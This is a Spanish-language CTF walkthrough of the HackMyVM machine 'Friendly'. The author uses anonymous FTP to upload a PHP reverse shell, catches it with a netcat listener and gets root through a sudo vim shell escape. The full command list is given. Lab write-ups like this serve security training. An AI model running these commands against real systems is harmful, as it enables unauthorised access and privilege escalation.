WriteUp de la máquina Friendly
Por Wuilmer Bolívar · IT Operations Specialist
Este WriteUp documenta la solución para la máquina “Friendly” de HackMyVM. A través de varias etapas de reconocimiento, explotación y elevación de privilegios, el objetivo es obtener acceso a la máquina y escalar privilegios para convertirnos en el usuario root.
Resumen:
Progreso del WriteUp
Reconocimiento inicial
No fue necesario realizar un escaneo para identificar la dirección IP, ya que la máquina Friendly mostraba directamente la IP local que estaba usando. Procedí a realizar un escaneo completo de puertos utilizando nmap:
nmap -p- --open -sC -sS -sV --min-rate=5000 -n -vvv -Pn 192.168.1.10 -oN friendly
El resultado del escaneo mostró:
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 64 ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 root root 10725 Feb 23 2023 index.html
|_-rw-r--r-- 1 ftp nogroup 2995 Mar 17 15:22 pwned-friendly.php
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.54 ((Debian))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)
Resultado: Se detectaron dos servicios importantes:
- Puerto 21: Servicio FTP ProFTPD abierto con acceso anónimo.
- Puerto 80: Servicio HTTP con Apache.
Explotación
Me conecté al servicio FTP utilizando el acceso anónimo:
ftp 192.168.1.10
Conectado al servidor FTP, ejecuté un dir para listar los archivos disponibles. Encontré dos archivos interesantes: index.html y pwned-friendly.php. Descargué ambos a mi máquina local:
get index.html
get pwned-friendly.php
Al revisar el archivo pwned-friendly.php, me di cuenta de que contenía una reverse shell. Modifiqué el archivo para añadir mi dirección IP local y luego lo volví a subir al servidor FTP.
Luego de esto, me coloqué a la escucha utilizando netcat:
nc -lnvp 443
Finalmente, al acceder al archivo pwned-friendly.php desde el navegador, conseguí ejecutar la shell reversa y obtener acceso a la máquina. No obstante, la conexión no era estable, por lo que decidí utilizar la reverse shell de PHP PentestMonkey.
Después de modificar el contenido del archivo pwned-friendly.php con la shell de PentestMonkey y volver a subirlo, logré obtener una conexión más estable.

Una vez dentro, navegué hacia el directorio /home y encontré un directorio llamado RiJaba1. Allí se encontraba el archivo user.txt que contenía la primera bandera.
Bandera de usuario capturada:
cat user.txt
Escalada de privilegios
Para elevar privilegios, ejecuté sudo -l y descubrí que el usuario podía ejecutar vim como root sin necesidad de contraseña:
User RiJaba1 may run the following commands on friendly:
(root) NOPASSWD: /usr/bin/vim
Me dirigí a GTFOBins para encontrar una forma de usar vim para escalar privilegios. La solución fue ejecutar el siguiente comando:
sudo vim -c ':!/bin/sh'
Resultado: Logré obtener acceso como root. Luego, me dirigí a la carpeta /root esperando encontrar la bandera de root (root.txt). Sin embargo, no estaba allí. En su lugar, encontré una pista que indicaba utilizar find para buscar la bandera.
find / -name root.txt 2>/dev/null
El comando find reveló que la bandera de root se encontraba en el directorio /var/log/apache2/. Una vez allí, ejecuté:
cat /var/log/apache2/root.txt
Bandera de root capturada.
Aprendizaje
La máquina Friendly fue un buen ejercicio para practicar el uso de servicios FTP anónimos y para aprender a usar herramientas como GTFOBins para escalar privilegios. También destacó la importancia de buscar pistas adicionales cuando el camino hacia la bandera de root no es el esperado.
Comandos
- Escaneo de puertos:
nmap -p- --open -sC -sS -sV --min-rate=5000 -n -vvv -Pn 192.168.1.10 -oN friendly - Conexión al servicio FTP:
ftp 192.168.1.10 - Descarga de archivos desde FTP:
get index.html get pwned-friendly.php - Modificación de la reverse shell:
nano pwned-friendly.php - Colocarse a la escucha con
netcat:nc -lnvp 443 - Acceso como root usando
vim:sudo vim -c ':!/bin/sh' - Buscar la bandera de root con
find:find / -name root.txt 2>/dev/null - Captura de la bandera de root:
cat /var/log/apache2/root.txt